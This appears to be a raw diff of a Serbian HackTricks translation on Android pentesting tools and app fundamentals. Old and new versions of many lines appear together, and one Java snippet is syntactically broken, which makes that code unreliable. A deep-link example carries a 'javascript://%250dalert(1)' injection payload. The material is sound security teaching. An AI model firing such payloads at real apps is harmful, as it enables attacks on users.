Ovaj alat je dizajniran da traži nekoliko **bezbednosno povezanih ranjivosti Android aplikacija**, bilo u **izvornom kodu** ili **zapakovanim APK datotekama**. Alat je takođe **sposoban da kreira "Proof-of-Concept" APK koji se može implementirati** i **ADB komande**, kako bi iskoristio neke od pronađenih ranjivosti (izložene aktivnosti, namere, tapjacking...). Kao i sa Drozer-om, nije potrebno rutovati test uređaj.
Ovaj alat je dizajniran da traži nekoliko **bezbednosno povezanih ranjivosti Android aplikacija**, bilo u **izvornom kodu** ili **zapakovanim APK datotekama**. Alat je takođe **sposoban da kreira "Proof-of-Concept" APK koji se može implementirati** i **ADB komande**, kako bi iskoristio neke od pronađenih ranjivosti (izložene aktivnosti, namere, tapjacking...). Kao i sa Drozer-om, nije potrebno rutovati uređaj za testiranje.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -669,9 +668,9 @@ qark --java path/to/specific/java/file.java
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
* Prikazuje sve izvučene datoteke radi lakšeg referisanja
* Automatski dekompajlira APK datoteke u Java i Smali format
* Analizira AndroidManifest.xml radi uobičajenih ranjivosti i ponašanja
* Statistička analiza izvornog koda za uobičajene ranjivosti i ponašanja
* Automatsko dekompiliranje APK datoteka u Java i Smali format
* Analiza AndroidManifest.xml datoteke radi otkrivanja uobičajenih ranjivosti i ponašanja
* Statistička analiza izvornog koda radi otkrivanja uobičajenih ranjivosti i ponašanja
* Informacije o uređaju
* i još više
```bash
@ -679,7 +678,7 @@ reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPER je aplikacija za komandnu liniju koja se može koristiti u Windows-u, MacOS X-u i Linux-u, koja analizira _.apk_ fajlove u potrazi za ranjivostima. To radi dekompresovanjem APK-ova i primenom niza pravila za otkrivanje tih ranjivosti.
SUPER je aplikacija za komandnu liniju koja se može koristiti u Windows-u, MacOS X-u i Linux-u, a koja analizira _.apk_ fajlove u potrazi za ranjivostima. To radi dekompresovanjem APK-ova i primenom niza pravila za otkrivanje tih ranjivosti.
Sva pravila su centrirana u `rules.json` fajlu, i svaka kompanija ili testera može kreirati svoja pravila za analizu onoga što im je potrebno.
@ -691,7 +690,7 @@ super-analyzer {apk_file}
![](<../../.gitbook/assets/image (62).png>)
StaCoAn je alat koji radi na više platformi i pomaže developerima, lovcima na bagove i etičkim hakerima da vrše statičku analizu koda mobilnih aplikacija.
StaCoAn je alatka koja pomaže developerima, lovcima na bagove i etičkim hakerima u izvođenju statičke analize koda mobilnih aplikacija.
Koncept je da prevučete i otpustite datoteku vaše mobilne aplikacije (datoteku .apk ili .ipa) na aplikaciju StaCoAn i ona će generisati vizuelni i prenosivi izveštaj za vas. Možete prilagoditi postavke i liste reči da biste dobili personalizovano iskustvo.
@ -721,7 +720,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../.gitbook/assets/image (81).png>)
**MARA** je **M**obilni **A**plikacija za **R**everzno inženjerstvo i **A**nalizu okvira. To je alat koji objedinjuje često korišćene alate za reverzno inženjerstvo i analizu mobilnih aplikacija, kako bi pomogao u testiranju mobilnih aplikacija protiv OWASP mobilnih sigurnosnih pretnji. Njegov cilj je da olakša ovaj zadatak i da bude prijateljski nastrojen prema razvojnim programerima mobilnih aplikacija i profesionalcima za sigurnost.
**MARA** je **M**obilni **A**plikacija za **R**everzno inženjerstvo i **A**nalizu okvira. To je alat koji objedinjuje često korištene alate za reverzno inženjerstvo i analizu mobilnih aplikacija, kako bi pomogao u testiranju mobilnih aplikacija protiv OWASP mobilnih sigurnosnih pretnji. Njegov cilj je da olakša ovaj zadatak i da bude prijateljski nastrojen prema razvojnim programerima mobilnih aplikacija i sigurnosnim profesionalcima.
Može:
@ -730,7 +729,7 @@ Može:
* Izvući privatne informacije iz APK-a koristeći regexps.
* Analizirati Manifest.
* Analizirati pronađene domene koristeći: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) i [whatweb](https://github.com/urbanadventurer/WhatWeb)
* Deobfuskovati APK putem [apk-deguard.com](http://www.apk-deguard.com)
* Deobfuskirati APK putem [apk-deguard.com](http://www.apk-deguard.com)
### Koodous
@ -738,23 +737,23 @@ Korisno za otkrivanje malvera: [https://koodous.com/](https://koodous.com)
## Obfuskacija/Deobfuskacija koda
Imajte na umu da zavisi od usluge i konfiguracije koju koristite za obfuskaciju koda. Tajne mogu ili ne moraju biti obfuskovane.
Imajte na umu da, zavisno o usluzi i konfiguraciji koju koristite za obfuskaciju koda, tajne mogu ili ne moraju biti obfuskirane.
### [ProGuard](https://en.wikipedia.org/wiki/ProGuard\_\(software\))
Sa [Vikipedije](https://en.wikipedia.org/wiki/ProGuard\_\(software\)): **ProGuard** je alat otvorenog koda za komandnu liniju koji smanjuje, optimizuje i obfuskira Java kod. Može optimizovati bajtkod kao i otkriti i ukloniti nekorišćene instrukcije. ProGuard je besplatan softver i distribuira se pod GNU General Public License, verzija 2.
ProGuard se distribuira kao deo Android SDK-a i pokreće se prilikom izgradnje aplikacije u režimu izdanja.
ProGuard je distribuiran kao deo Android SDK-a i pokreće se prilikom izgradnje aplikacije u režimu izdanja.
### [DexGuard](https://www.guardsquare.com/dexguard)
Pronađite vodič korak po korak za deobfuskaciju apk-a na [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
Pronađite vodič korak po korak za deobfuskaciju APK-a na [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
(Iz tog vodiča) Poslednji put kada smo proverili, način rada Dexguard-a bio je:
* učitavanje resursa kao InputStream;
* prosleđivanje rezultata klasi koja nasleđuje od FilterInputStream-a da ga dešifruje;
* obaviti nekoliko beskorisnih obfuskacija kako bi se potrošilo nekoliko minuta vremena od osobe koja reverzira;
* obaviti neku beskorisnu obfuskaciju kako bi se potrošilo nekoliko minuta vremena od osobe koja reverzira;
* prosleđivanje dešifrovanog rezultata ZipInputStream-u da dobijete DEX datoteku;
* konačno učitavanje rezultujućeg DEX-a kao Resurs koristeći metod `loadDex`.
@ -762,7 +761,7 @@ Pronađite vodič korak po korak za deobfuskaciju apk-a na [https://blog.lexfo.f
**DeGuard vraća proces obfuskacije koji su obavili alati za obfuskaciju Androida. To omogućava brojne sigurnosne analize, uključujući inspekciju koda i predviđanje biblioteka.**
Možete otpremiti obfuskovan APK na njihovu platformu.
Možete otpremiti obfuskirani APK na njihovu platformu.
### [Simplify](https://github.com/CalebFenton/simplify)
@ -774,7 +773,7 @@ APKiD vam pruža informacije o **kako je napravljen APK**. Identifikuje mnoge **
### Ručno
[Pročitajte ovaj tutorijal da biste naučili neke trikove o **kako da reverzujete prilagođenu obfuskaciju**](manual-deobfuscation.md)
[Pročitajte ovaj tutorijal da biste naučili neke trikove o **kako deobfuskirati prilagođenu obfuskaciju**](manual-deobfuscation.md)
## Laboratorije
@ -800,14 +799,14 @@ AndroL4b je Android sigurnosna virtuelna mašina zasnovana na ubuntu-mate koja u
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
**Uvidi u hakovanje**\
**Hacking Insights**\
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
**Vesti o hakovanju u realnom vremenu**\
**Vesti u realnom vremenu o hakovanju**\
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
**Najnovije objave**\
Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platforme
Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platformi
**Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
@ -817,7 +816,7 @@ Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažu
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -8,15 +8,15 @@ Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodiču PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -29,13 +29,13 @@ Drugi načini podrške HackTricks-u:
* **OS**, koji drži instalirane aplikacije izolovane jednu od druge.
* **Sama aplikacija**, koja omogućava developerima da **izlože određene funkcionalnosti** i konfigurišu sposobnosti aplikacije.
### Razdvajanje UID-a
### UID Separacija
**Svaka aplikacija je dodeljena specifičan User ID**. Ovo se radi prilikom instalacije aplikacije tako da **aplikacija može da interaguje samo sa fajlovima koje poseduje njen User ID ili deljenim** fajlovima. Stoga, samo aplikacija, određeni delovi OS-a i root korisnik mogu pristupiti podacima aplikacija.
**Svaka aplikacija je dodeljena specifičan User ID**. Ovo se radi prilikom instalacije aplikacije tako da **aplikacija može interagovati samo sa fajlovima koje poseduje njen User ID ili deljenim** fajlovima. Stoga, samo aplikacija, određeni delovi OS-a i root korisnik mogu pristupiti podacima aplikacija.
### Deljenje UID-a
**Dve aplikacije mogu biti konfigurisane da koriste isti UID**. Ovo može biti korisno za deljenje informacija, ali ako je jedna od njih kompromitovana, podaci obe aplikacije će biti kompromitovani. Zato se ovo ponašanje **ne preporučuje**.\
**Dve aplikacije mogu biti konfigurisane da koriste isti UID**. Ovo može biti korisno za deljenje informacija, ali ako je jedna od njih kompromitovana, podaci obe aplikacije će biti kompromitovani. Zato se ovo ponašanje **odvraća**.\
**Da bi delile isti UID, aplikacije moraju definisati istu vrednost `android:sharedUserId` u njihovim manifestima.**
### Pesak
@ -45,16 +45,16 @@ Od Android 5.0(L) **SELinux** je primenjen. U osnovi, SELinux odbija sve interak
### Dozvole
Kada instalirate **aplikaciju i ona traži dozvole**, aplikacija traži dozvole konfigurisane u **`uses-permission`** elementima u **AndroidManifest.xml** fajlu. **Uses-permission** element označava ime tražene dozvole unutar **name** **atributa**. Takođe ima **maxSdkVersion** atribut koji zaustavlja traženje dozvola na verzijama višim od navedene.\
Imajte na umu da android aplikacije ne moraju tražiti sve dozvole na početku, mogu takođe **tražiti dozvole dinamički** ali sve dozvole moraju biti **deklarisane** u **manifestu**.
Kada instalirate **aplikaciju i ona traži dozvole**, aplikacija traži dozvole konfigurisane u **`uses-permission`** elementima u **AndroidManifest.xml** fajlu. Element **uses-permission** označava ime tražene dozvole unutar **name** **atributa**. Takođe ima **maxSdkVersion** atribut koji zaustavlja traženje dozvola na verzijama višim od navedene.\
Imajte na umu da android aplikacije ne moraju tražiti sve dozvole na početku, takođe mogu **tražiti dozvole dinamički** ali sve dozvole moraju biti **deklarisane** u **manifestu**.
Kada aplikacija izlaže funkcionalnost, može ograničiti **pristup samo aplikacijama koje imaju određenu dozvolu**.\
Element dozvole ima tri atributa:
* **Ime** dozvole
* Atribut **permission-group**, koji omogućava grupisanje povezanih dozvola.
* **Nivo zaštite** koji označava kako su dozvole dodeljene. Postoje četiri tipa:
* **Normalno**: Koristi se kada nema **poznatih pretnji** aplikaciji. Korisniku nije potrebno da je **odobri**.
* **Nivo zaštite** koji označava kako se dozvole dodeljuju. Postoje četiri tipa:
* **Normalno**: Koristi se kada nema **poznatih pretnji** aplikaciji. Korisniku nije **potrebno odobrenje**.
* **Opasno**: Označava da dozvola daje traženoj aplikaciji neki **povišen pristup**. **Korisnici su zamoljeni da ih odobre**.
* **Potpis**: Samo **aplikacije potpisane istim sertifikatom kao i ona** koja izvozi komponentu mogu dobiti dozvolu. Ovo je najjači tip zaštite.
* **PotpisIliSistem**: Samo **aplikacije potpisane istim sertifikatom kao i ona** koja izvozi komponentu ili **aplikacije koje se izvršavaju sa sistemskim nivoom pristupa** mogu dobiti dozvole
@ -70,9 +70,9 @@ Ove aplikacije se obično nalaze u **`/system/app`** ili **`/system/priv-app`**
## Rootovanje
Da biste dobili root pristup fizičkom android uređaju obično treba da **iskoristite** 1 ili 2 **ranjivosti** koje obično budu **specifične** za **uređaj** i **verziju**.\
Kada eksploatacija uspe, obično se Linux `su` binarni fajl kopira na lokaciju navedenu u korisnikovoj PATH env promenljivoj kao što je `/system/xbin`.
Kada eksploatacija uspe, obično se Linux `su` binarni fajl kopira na lokaciju navedenu u PATH env varijabli korisnika kao što je `/system/xbin`.
Kada je su binarni fajl konfigurisan, druga Android aplikacija se koristi za interakciju sa `su` binarnim fajlom i **obradu zahteva za root pristup** kao što su **Superuser** i **SuperSU** (dostupni u Google Play prodavnici).
Kada je su binarni fajl konfigurisan, druga Android aplikacija se koristi za interakciju sa `su` binarnim fajlom i **obradu zahteva za root pristup** kao što su **Superuser** i **SuperSU** (dostupne u Google Play prodavnici).
{% hint style="danger" %}
Imajte na umu da je proces rootovanja veoma opasan i može ozbiljno oštetiti uređaj
@ -91,11 +91,11 @@ Kada je uređaj rootovan, bilo koja aplikacija može zatražiti pristup kao root
## Osnove Android Aplikacija <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
- Format Android aplikacija se naziva _APK format fajla_. U osnovi je to **ZIP fajl** (promenom ekstenzije fajla u .zip, sadržaj može biti izvađen i pregledan).
- Format Android aplikacija se naziva _APK format fajla_. U osnovi je to **ZIP fajl** (preimenovanjem ekstenzije fajla u .zip, sadržaj može biti izvađen i pregledan).
- Sadržaj APK-a (Nije iscrpan)
- **AndroidManifest.xml**
- resources.arsc/strings.xml
- resources.arsc: sadrži prekompilirane resurse, kao što su binarni XML.
- resources.arsc: sadrži prekompilirane resurse, poput binarnog XML-a.
- res/xml/files\_paths.xml
- META-INF/
- Ovde se nalazi Sertifikat!
@ -115,32 +115,32 @@ Kada je uređaj rootovan, bilo koja aplikacija može zatražiti pristup kao root
U Android razvoju, **Java ili Kotlin** se koriste za kreiranje aplikacija. Umesto korišćenja JVM-a kao u desktop aplikacijama, Android kompajlira ovaj kod u **Dalvik Executable (DEX) bytecode**. Ranije je Dalvik virtuelna mašina obrađivala ovaj bytecode, ali sada, Android Runtime (ART) preuzima kontrolu u novijim verzijama Androida.
Za reverzno inženjerstvo, **Smali** postaje ključan. To je ljudima čitljiva verzija DEX bytecode-a, delujući kao jezik asemblerskog koda prevodeći izvorni kod u bytecode instrukcije. Smali i baksmali se odnose na alate za asembliranje i disasembliranje u ovom kontekstu.
Za reverzno inženjerstvo, **Smali** postaje ključan. To je ljudima čitljiva verzija DEX bytecode-a, delujući kao jezik mašinskog koda prevodeći izvorni kod u bytecode instrukcije. Smali i baksmali se odnose na alate za sastavljanje i rastavljanje u ovom kontekstu.
## Intents
Intents su osnovno sredstvo komunikacije između komponenti Android aplikacija ili sa drugim aplikacijama. Ovi objekti poruka takođe mogu prenositi podatke između aplikacija ili komponenti, slično kao što se GET/POST zahtevi koriste u HTTP komunikacijama.
Dakle, Intent je u osnovi **poruka koja se prenosi između komponenti**. Intents **mogu biti usmereni** ka određenim komponentama ili aplikacijama, **ili mogu biti poslati bez određenog primaoca**.\
Dakle, Intent je **poruka koja se prenosi između komponenti**. Intents **mogu biti usmereni** ka određenim komponentama ili aplikacijama, **ili mogu biti poslati bez određenog primaoca**.\
Da bude jednostavno, Intent se može koristiti:
* Za pokretanje aktivnosti, obično otvaranje korisničkog interfejsa za aplikaciju
* Za pokretanje Activity-ja, obično otvaranje korisničkog interfejsa za aplikaciju
* Kao emitovanja za obaveštavanje sistema i aplikacija o promenama
* Za pokretanje, zaustavljanje i komunikaciju sa pozadinskom uslugom
* Za pristup podacima putem ContentProvidera
* Kao povratni poziv za rukovanje događajima
* Kao povratni pozivi za rukovanje događajima
Ako su ranjivi, **Intents mogu biti korišćeni za izvođenje različitih napada**.
### Intent-Filter
**Intent Filteri** definišu **kako aktivnost, usluga ili Broadcast Receiver mogu interagovati sa različitim tipovima Intents**. U osnovi, opisuju sposobnosti ovih komponenti, kao što su koje akcije mogu izvršiti ili vrste emitovanja koje mogu obraditi. Glavno mesto za deklarisanje ovih filtera je unutar **AndroidManifest.xml datoteke**, iako je kodiranje za Broadcast Receivere takođe opcija.
**Intent Filteri** definišu **kako aktivnost, usluga ili Broadcast Receiver mogu interagovati sa različitim tipovima Intents-a**. U osnovi, opisuju sposobnosti ovih komponenti, kao što su koje akcije mogu izvršiti ili vrste emitovanja koje mogu obraditi. Glavno mesto za deklarisanje ovih filtera je unutar **AndroidManifest.xml fajla**, iako je kodiranje za Broadcast Receivere takođe opcija.
Intent Filteri se sastoje od kategorija, akcija i filtera podataka, sa mogućnošću uključivanja dodatnih metapodataka. Ova postavka omogućava komponentama da obrade specifične Intents koji se podudaraju sa deklarisanim kriterijumima.
Intent Filteri se sastoje od kategorija, akcija i filtera podataka, sa mogućnošću uključivanja dodatnih metapodataka. Ova postavka omogućava komponentama da obrade specifične Intents-e koji se podudaraju sa deklarisanim kriterijumima.
Kritičan aspekt Android komponenti (aktivnosti/usluga/content providera/broadcast receivera) je njihova vidljivost ili **javni status**. Komponenta se smatra javnom i može interagovati sa drugim aplikacijama ako je **`exported`** sa vrednošću **`true`** ili ako je za nju deklarisan Intent Filter u manifestu. Međutim, postoji način za razvojnike da eksplicitno zadrže ove komponente privatnim, osiguravajući da ne interaguju sa drugim aplikacijama nenamerno. To se postiže postavljanjem atributa **`exported`** na **`false`** u njihovim definicijama manifesta.
Pored toga, razvojnici imaju opciju da dodatno obezbede pristup ovim komponentama zahtevanjem određenih dozvola. **`Permission`** atribut može biti postavljen da bi se naložilo da samo aplikacije sa određenom dozvolom mogu pristupiti komponenti, dodajući dodatni sloj sigurnosti i kontrole nad tim ko može interagovati sa njom.
Osim toga, razvojnici imaju opciju da dodatno obezbede pristup ovim komponentama zahtevanjem specifičnih dozvola. **`Permission`** atribut može biti postavljen da bi se naložilo da samo aplikacije sa određenom dozvolom mogu pristupiti komponenti, dodajući dodatni sloj sigurnosti i kontrole nad tim ko može interagovati sa njom.
```java
<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
@ -163,13 +163,13 @@ Ova namera treba da bude deklarisana unutar manifesta kao u sledećem primeru:
</intent-filter>
</activity>
```
Intent-filter mora da se poklopi sa **akcijom**, **podacima** i **kategorijom** da bi primio poruku.
Intent-filter mora odgovarati **action**, **data** i **category** poljima da bi primio poruku.
Proces "Rešavanja namere" određuje koja aplikacija treba da primi svaku poruku. Ovaj proces uzima u obzir **atribut prioriteta**, koji se može postaviti u deklaraciji **intent-filtera**, i **onaj sa većim prioritetom će biti izabran**. Ovaj prioritet može biti postavljen između -1000 i 1000, a aplikacije mogu koristiti vrednost `SYSTEM_HIGH_PRIORITY`. Ukoliko dođe do **sukoba**, prozor "izbora" se pojavljuje tako da **korisnik može da odluči**.
Proces "Intent resolution" određuje koja aplikacija treba da primi svaku poruku. Ovaj proces uzima u obzir **priority atribut**, koji se može postaviti u deklaraciji **intent-filtera**, i **onaj sa većim prioritetom će biti izabran**. Ovaj prioritet se može postaviti između -1000 i 1000, a aplikacije mogu koristiti vrednost `SYSTEM_HIGH_PRIORITY`. Ukoliko dođe do **sukoba**, pojavljuje se prozor "choser" kako bi **korisnik odlučio**.
### Eksplicitne namere
### Eksplicitni Intenti
Eksplicitna namera specificira ime klase koju cilja:
Eksplicitni intent specificira ime klase koju cilja:
```java
Intent downloadIntent = new (this, DownloadService.class):
```
@ -181,32 +181,32 @@ context.startService(intent);
```
### Pending Intents
Ovi omogućavaju drugim aplikacijama da **preduzmu radnje u ime vaše aplikacije**, koristeći identitet i dozvole vaše aplikacije. Konstruisanje Pending Intenta treba **specificirati nameru i radnju koju treba izvršiti**. Ako **deklarisana namera nije eksplicitna** (ne deklariše koja namera može da je pozove), **zlonamerna aplikacija može izvršiti deklarisane radnje** u ime žrtvene aplikacije. Štaviše, **ako radnja nije specificirana**, zlonamerna aplikacija će moći da izvrši **bilo koju radnju u ime žrtve**.
Ovi dozvoljavaju drugim aplikacijama da **preduzmu radnje u ime vaše aplikacije**, koristeći identitet i dozvole vaše aplikacije. Konstruisanje Pending Intenta treba **specificirati nameru i radnju koju treba izvršiti**. Ako **deklarisana namera nije eksplicitna** (ne deklariše koja namera može da je pozove), **zlonamerna aplikacija može izvršiti deklarisanu radnju** u ime aplikacije žrtve. Štaviše, **ako radnja nije specificirana**, zlonamerna aplikacija će moći da izvrši **bilo koju radnju u ime žrtve**.
### Broadcast Intents
Za razliku od prethodnih namera, koje prima samo jedna aplikacija, broadcast namerama **mogu pristupiti više aplikacija**. Međutim, od API verzije 14, **moguće je specificirati aplikaciju koja treba da primi** poruku korišćenjem Intent.setPackage.
Alternativno, takođe je moguće **specificirati dozvolu prilikom slanja broadcasta**. Aplikacija primaoc će morati da ima tu dozvolu.
Alternativno, moguće je **specificirati dozvolu prilikom slanja broadcasta**. Aplikacija primaoc će morati da ima tu dozvolu.
Postoje **dva tipa** Broadcasta: **Normalni** (asinhroni) i **Poređani** (sinhroni). **Redosled** se zasniva na **konfigurisanoj prioritetu unutar primaoca** elementa. **Svaka aplikacija može obraditi, proslediti ili odbaciti Broadcast.**
Postoje **dva tipa** Broadcasta: **Normalni** (asinhroni) i **Poređani** (sinhroni). **Redosled** se zasniva na **konfigurisanoj prioritetu unutar elementa primaoca**. **Svaka aplikacija može obraditi, proslediti ili odbaciti Broadcast.**
Moguće je **poslati** broadcast koristeći funkciju `sendBroadcast(intent, receiverPermission)` iz klase `Context`.\
Takođe možete koristiti funkciju **`sendBroadcast`** iz **`LocalBroadCastManager`** koji osigurava da **poruka nikada ne napusti aplikaciju**. Korišćenjem ovoga čak nećete morati da izvezete komponentu primaoca.
Moguće je **poslati** broadcast korišćenjem funkcije `sendBroadcast(intent, receiverPermission)` iz klase `Context`.\
Takođe možete koristiti funkciju **`sendBroadcast`** iz **`LocalBroadCastManager`** kako biste osigurali da **poruka nikada ne napusti aplikaciju**. Korišćenjem ovoga, čak nećete morati ni da izvezete komponentu primaoca.
### Ljepljivi Broadcasti
### Sticky Broadcasts
Ovaj tip Broadcasta **može se pristupiti dugo nakon što su poslati**.\
Ova vrsta Broadcasta **može se pristupiti dugo nakon što su poslati**.\
Ovi su zastareli od API nivoa 21 i preporučuje se **da se ne koriste**.\
**Dozvoljavaju bilo kojoj aplikaciji da prisluškuje podatke, ali i da ih modifikuje.**
Ako pronađete funkcije koje sadrže reč "ljepljivi" poput **`sendStickyBroadcast`** ili **`sendStickyBroadcastAsUser`**, **proverite uticaj i pokušajte da ih uklonite**.
Ako pronađete funkcije koje sadrže reč "sticky" poput **`sendStickyBroadcast`** ili **`sendStickyBroadcastAsUser`**, **proverite uticaj i pokušajte da ih uklonite**.
## Duboke veze / URL šeme
## Duboki linkovi / URL šeme
U Android aplikacijama, **duboke veze** se koriste za pokretanje radnje (Intent) direktno putem URL-a. To se postiže deklarisanjem specifične **URL šeme** unutar aktivnosti. Kada Android uređaj pokuša da **pristupi URL-u sa ovom šemom**, pokreće se određena aktivnost unutar aplikacije.
U Android aplikacijama, **duboki linkovi** se koriste za pokretanje radnje (Intent) direktno putem URL-a. To se postiže deklarisanjem specifične **URL šeme** unutar aktivnosti. Kada Android uređaj pokuša da **pristupi URL-u sa ovom šemom**, pokreće se određena aktivnost unutar aplikacije.
Šema se mora deklarisati u datoteci **`AndroidManifest.xml`**:
Šema se mora deklarisati u **`AndroidManifest.xml`** fajlu:
```xml
[...]
<activity android:name=".MyActivity">
@ -226,7 +226,7 @@ Zatim, u polju podataka, možete specificirati **host** i **putanju**:
android:host="example"
/>
```
Da biste pristupili tome sa veba, moguće je postaviti link kao:
Da biste pristupili tome sa veba, moguće je postaviti link poput:
```xml
<a href="examplescheme://example/something">click here</a>
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
@ -237,13 +237,13 @@ Saznajte kako [pozvati dubinske linkove bez korišćenja HTML stranica](./#explo
## AIDL - Android Interface Definition Language
**Android Interface Definition Language (AIDL)** dizajniran je za olakšavanje komunikacije između klijenta i servisa u Android aplikacijama putem **interprocesne komunikacije** (IPC). Budući da direktno pristupanje memoriji drugog procesa nije dozvoljeno na Androidu, AIDL pojednostavljuje proces marshalling objekata u format koji razume operativni sistem, olakšavajući tako komunikaciju između različitih procesa.
**Android Interface Definition Language (AIDL)** dizajniran je za olakšavanje komunikacije između klijenta i servisa u Android aplikacijama putem **međuprocesne komunikacije** (IPC). Budući da direktno pristupanje memoriji drugog procesa nije dozvoljeno na Androidu, AIDL pojednostavljuje proces marshalinga objekata u format koji razume operativni sistem, olakšavajući tako komunikaciju između različitih procesa.
### Ključni koncepti
- **Povezane usluge**: Ove usluge koriste AIDL za IPC, omogućavajući aktivnostima ili komponentama da se povežu sa uslugom, šalju zahteve i primaju odgovore. Metoda `onBind` u klasi servisa ključna je za pokretanje interakcije, označavajući je kao važno područje za pregled sigurnosti u potrazi za ranjivostima.
- **Povezani servisi**: Ovi servisi koriste AIDL za IPC, omogućavajući aktivnostima ili komponentama da se povežu sa servisom, šalju zahteve i primaju odgovore. Metoda `onBind` u klasi servisa ključna je za pokretanje interakcije, označavajući je kao važno područje za pregled sigurnosti u potrazi za ranjivostima.
- **Messenger**: Funkcionišući kao povezana usluga, Messenger olakšava IPC sa fokusom na obradi podataka putem metode `onBind`. Važno je pažljivo pregledati ovu metodu radi bilo kakvog nebezbednog rukovanja podacima ili izvršavanja osetljivih funkcija.
- **Messenger**: Funkcionišući kao povezani servis, Messenger olakšava IPC sa fokusom na obradi podataka putem metode `onBind`. Važno je pažljivo pregledati ovu metodu radi bilo kakvog nebezbednog rukovanja podacima ili izvršavanja osetljivih funkcija.
- **Binder**: Iako je direktna upotreba klase Binder manje uobičajena zbog apstrakcije AIDL-a, korisno je razumeti da Binder deluje kao drajver na nivou jezgra koji olakšava prenos podataka između memorijskih prostora različitih procesa. Za dalje razumevanje, dostupan je resurs na [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
@ -264,7 +264,7 @@ U Android aplikacijama, **aktivnosti** su poput ekrana koji prikazuju različite
</intent-filter>
</activity>
```
Nisu sve aplikacije potrebne aktivnosti pokretača, posebno one bez korisničkog interfejsa, poput pozadinskih usluga.
Nisu sve aplikacije potrebne aktivnosti lansera, posebno one bez korisničkog interfejsa, poput pozadinskih usluga.
Aktivnosti mogu biti dostupne drugim aplikacijama ili procesima označavanjem kao "izložene" u manifestu. Ovo podešavanje omogućava drugim aplikacijama da pokrenu ovu aktivnost:
```markdown
@ -276,7 +276,7 @@ Međutim, pristupanje aktivnosti iz druge aplikacije nije uvek sigurnosni rizik.
### Podklasa aplikacije
U Android razvoju, aplikacija ima opciju da kreira **podklasu** klase [Application](https://developer.android.com/reference/android/app/Application), iako to nije obavezno. Kada je takva podklasa definisana, postaje prva klasa koja se instancira unutar aplikacije. Metoda **`attachBaseContext`**, ako je implementirana u ovoj podklasi, izvršava se pre metode **`onCreate`**. Ova postavka omogućava ranu inicijalizaciju pre nego što se ostatak aplikacije pokrene.
U Android razvoju, aplikacija ima opciju da kreira **podklasu** klase [Application](https://developer.android.com/reference/android/app/Application), iako to nije obavezno. Kada je takva podklasa definisana, postaje prva klasa koja se instancira unutar aplikacije. Metoda **`attachBaseContext`**, ako je implementirana u ovoj podklasi, izvršava se pre metode **`onCreate`**. Ova postavka omogućava ranu inicijalizaciju pre nego što ostatak aplikacije počne.
```java
